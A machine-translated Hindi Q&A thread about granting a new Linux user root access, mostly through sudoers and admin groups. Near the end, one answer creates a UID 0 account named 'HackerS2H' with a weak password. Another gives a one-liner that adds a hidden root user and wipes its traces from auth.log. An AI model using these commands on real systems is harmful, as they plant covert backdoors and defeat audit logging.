लिनक्स में रूट एक्सेस के साथ नया उपयोगकर्ता जोड़ें


31

मैं नया उपयोगकर्ता जोड़ना चाहता हूं और उस नए उपयोगकर्ता को सभी रूट एक्सेस प्राप्त करने के लिए अनुदान / अनुदान देना चाहता हूं, मैं यह कैसे कर सकता हूं?

मैंने किया था sudo adduser --system testuserलेकिन मैं उम्मीद के मुताबिक काम नहीं कर रहा हूं।

मदद के लिए शुक्रिया।

जवाबों:


62

वास्तव में आप यह कर सकते हैं तीन तरीके हैं: सही तरीका, गलत तरीका, और बदसूरत तरीका।

सबसे पहले, एक सामान्य उपयोगकर्ता खाता बनाएं ।

adduser username

फिर निम्न में से एक का चयन करें:


सही तरीका

इस तरह समूह के sudoलिए एक प्रविष्टि बनाएँ :wheel/etc/sudoers

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

या "आधुनिक" संस्करणों के लिए:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

फिर उपयोगकर्ता को wheelसमूह में जोड़ें । प्रशासनिक निजीकरण के साथ उपयोगकर्ताओं को जोड़ना और हटाना अब सूडो में एक प्रविष्टि बनाने के बजाय, उन्हें पहिया में जोड़ने के लिए याद करने का एक फ़ंक्शन बन जाता है। पहिया का उपयोग करने के बारे में महान बात यह है कि आप इस तंत्र को अन्य प्रमाणीकरण योजनाओं में विस्तारित कर सकते हैं जो समूहों का समर्थन करते हैं, अर्थात विंडबींड / एक्टिव डायरेक्ट्री, और प्रक्रिया में लाभ प्राप्त करते हैं। आप अपने प्रमाणीकरण स्कीमा में एक समूह के लिए पहिया को मैप करके इसे पूरा करेंगे, जिसमें व्यवस्थापक विशेषाधिकार हैं।

ध्यान दें कि कुछ वितरण विभिन्न प्रशासनिक खातों का उपयोग करते हैं। व्हील यह करने के लिए एक "पारंपरिक" दृष्टिकोण है, लेकिन आप का सामना कर सकते admin, admऔर अन्य समूह खाते है कि इसी उद्देश्य को पूरा।

अनुवर्ती

मुझे यह बताने के लिए बार्ट सिल्वरस्ट्रिम को एक बिंदु देना होगा कि उबंटू adminइस उद्देश्य के लिए समूह के रूप में उपयोग करता है । उन्हें यह पहली बार मिला, हालांकि मैंने उस समय उबंटू टैग को नोटिस नहीं किया था। फिर से, यह सब इस बात पर निर्भर करता है कि आप किस वितरण का उपयोग कर रहे हैं।


बदसूरत रास्ता

प्रश्न में उपयोगकर्ता खाते के लिए एक sudo प्रविष्टि बनाएँ और फिर पूर्ण पहुँच दें। फिर, आप /etc/sudoersइस तरह से प्रविष्टि बनाएँ :

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

जोड़ा गया: ## उबंटू संस्करण के लिए: उपयोगकर्ता नाम सभी = (ALL: ALL)

यह बहुत अच्छा है यदि आपके पास केवल एक (या दो) सामान्य खाते हैं। यह बदसूरत है जब आपके पास कई (भूभौतिकीय) साइटों पर सौ खाते हैं और लगातार sudo फ़ाइल को बनाए रखना है।


गलत रास्ता

आप /etc/passwdफ़ाइल को संपादित कर सकते हैं और उपयोगकर्ता खाता आईडी को जो भी संख्या से, को बदल सकते हैं 0। यह सही है, शून्य है

username:x:0:502::/home/username:/bin/bash

उस तीसरी प्रविष्टि को शून्य के रूप में देखें? जब आप उस खाते में प्रवेश करते हैं, तो आप सभी प्रभावी उद्देश्यों के लिए हैं rootमैं इसकी अनुशंसा नहीं करता। यदि आपको याद नहीं है कि "आप" कौन हैं, तो आप सभी प्रकार के कहर बना सकते हैं जैसे ही आप फ़ाइलों को बनाना और छूना शुरू करते हैं root। आप rootसमूह में अपना उपयोगकर्ता नाम भी जोड़ सकते हैं । फ़ाइल एक्सेस के लिए इसका प्रभाव समान है, लेकिन यह अन्य समस्याएं पैदा करता है; कार्यक्रम आपको नोटिस करेंगे कि आप उपयोगकर्ता नहीं हैं rootऔर चलाने से इनकार करते हैं, लेकिन आप उन फ़ाइलों तक पहुंच प्राप्त करेंगे जो समूह से संबंधित हैं root

यदि आपने ऐसा किया है, तो आपने vipwकेवल संपादन के बजाय उपयोग किया है vi, है ना? (या जो भी आपका पसंदीदा टेक्स्ट एडिटर है) आखिरकार, इस फ़ाइल में एक एकल टाइपो आपको आपके सिस्टम से बाहर कर सकता है - और इसका मतलब है कि मरम्मत डिस्क के साथ प्रश्न में कंप्यूटर की भौतिक यात्रा ...


2
मैं गलत तरीके से दस्तावेज भी नहीं बनाऊंगा। बहुत वर्जित।
elcuco

15
मैं असहमत हूं। यदि आप गलत को छिपाते हैं, तो यह दूर नहीं जाता है, यह सिर्फ त्यौहार है - और कभी-कभी, यह ज्ञान कि कुछ निषिद्ध है जितना चाहिए उससे अधिक ध्यान आकर्षित करता है। यह समझना बेहतर है कि यह वर्जित क्यों है। विशेषकर तब जब (दुर्लभ रूप से) ऐसी परिस्थितियाँ हों जहाँ आपको उस ज्ञान की आवश्यकता हो। फिर भी, मैं आपको यह इंगित करने के लिए एक बिंदु दूंगा कि वास्तव में बुरी चीजें कैसे हो सकती हैं। :)
एवरी पायने

1
"आखिरकार, इस फ़ाइल में एक एकल टाइपो आपको आपके सिस्टम से बाहर कर सकता है" - नहीं, यह अभ्यस्त नहीं होगा, आप सभी पुट्टी सत्रों को डिस्कनेक्ट करने के बाद आपको लॉक कर सकते हैं (यह मानते हुए कि आप पुट्टी का उपयोग करते हैं)। जब तक आप डिस्कनेक्ट नहीं करते हैं, लेकिन अपनी सेटिंग्स का परीक्षण करने के लिए बस एक और सत्र खोलें, इस संबंध में आप ठीक हैं।
quamis

1
@quamis - सच। यद्यपि मैं यह मानने में खतरे को इंगित करने की कोशिश कर रहा था कि यह "आग और भूल" के लिए सुरक्षित है। :) एक बिंदु आपके लिए भी, अच्छी प्रैक्टिस की ओर इशारा करने के लिए - हमेशा बाद में सेटिंग्स का परीक्षण करें
एवरी पायने

1
मैं केवल यह नोट करना चाहूंगा कि यूनिक्स में पारंपरिक रूप से 'व्हील' ग्रुप (बाइनरी, फ्लैग-लेवल एलिवेशन के साथ) अब यूजर्स के समूह के लिए एक सामान्य शब्द नहीं है जो सुडो के साथ ऊंचा हो सकता है। मेरे अनुभव से, लोगों के समूह का सबसे आम नाम जो सूडो हो सकता है, आजकल आम तौर पर 'सूडर्स' है और पहले से ही अधिकांश प्रणालियों के लिए सेटअप है।
बोजन मार्कोविच

3

मैं इसे वर्षों से उपयोग कर रहा हूं और यह AskUbuntu पर एक सुडोलर जोड़ने के लिए # 1 अनुशंसित तरीका है :

adduser existinguser sudo

फ़ाइलों को संपादित करने की तुलना में बहुत आसान है, और अनअटेंडेड इंस्टॉलेशन के लिए शेल स्क्रिप्ट में फेंकना आसान है।

यदि आप उपयोगकर्ता बनाना चाहते हैं और sudo विशेषाधिकार देना चाहते हैं, तो आप इस तरह से एक पंक्ति में कर सकते हैं:

useradd newuser -m -G sudo
passwd newuser

-mएक घर निर्देशिका बनाई, और -Gएक पूरक समूह निर्दिष्ट करता है।


2

और इसके साथ 100% है:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

और पोटीन और आईपी सर्वर से कनेक्ट करें


1

खैर आप एड्यूसर के साथ उपयोगकर्ता बना सकते हैं, मैन एड्यूसर देखें।
आप इसे रूट, या व्हील जैसे विशेषाधिकार प्राप्त समूह में जोड़ सकते हैं। लेकिन मुझे लगता है कि कुछ अनुमति के लिए सबसे अनुशंसित तरीका सुडो का उपयोग करना है।


1

आप प्रदर्शन कर सकते हैं:

#useradd -m -g root alex

यह एक उपयोगकर्ता एलेक्स को एक होम डायरेक्टरी के साथ बनाता है जो रूट समूह से संबंधित है


1

एवरी पायने के जवाब के अलावा: उबंटू में, आप इसे ऐसा चाह सकते हैं:

%sudo   ALL=(ALL:ALL) ALL

और ऐसा नहीं है:

%sudo    ALL=(ALL) ALL

0

"बदसूरत और गन्दा" तरीका नए उपयोगकर्ता के लिए UID = 0 और GID = 0 को संपादित करने / / पास करने के लिए है। लेकिन इससे बहुत सारे सुरक्षा जोखिम हैं । आप जानते हैं कि यदि वह जड़ है तो वह आपके अभ्यस्त को निष्क्रिय कर सकता है, आपका पासवर्ड बदल सकता है, आपको "मानक उपयोगकर्ता" बना सकता है ... सही है? तो क्यों न आप उसे अपना खाता दें?

यदि आप उसे केवल कुछ कमांड के लिए रूट एक्सेस देना चाहते हैं तो आप जिस तरह से suid ( http://en.wikipedia.org/wiki/Setuid ) काम करते हैं, उसका अध्ययन कर सकते हैं ।


-1

यहाँ एक लाइनर है:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

श्रेष्ठ,


1
Uid 0 के साथ अतिरिक्त उपयोगकर्ता जोड़ना एक अच्छा विचार नहीं है ... विवरण के लिए सबसे अधिक वोटों के साथ उत्तर देखें।
गेराल्ड श्नाइडर

@GeraldSchneider मैंने कभी नहीं कहा कि यह एक अच्छा विचार था ... मैं अच्छी तरह से जानता हूं ... और ईमानदारी से हमारी चिंता का गैर है। इसका एक लाइनर, इसे हर समय कीटों में उपयोग करें। सादर
बॉशको
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.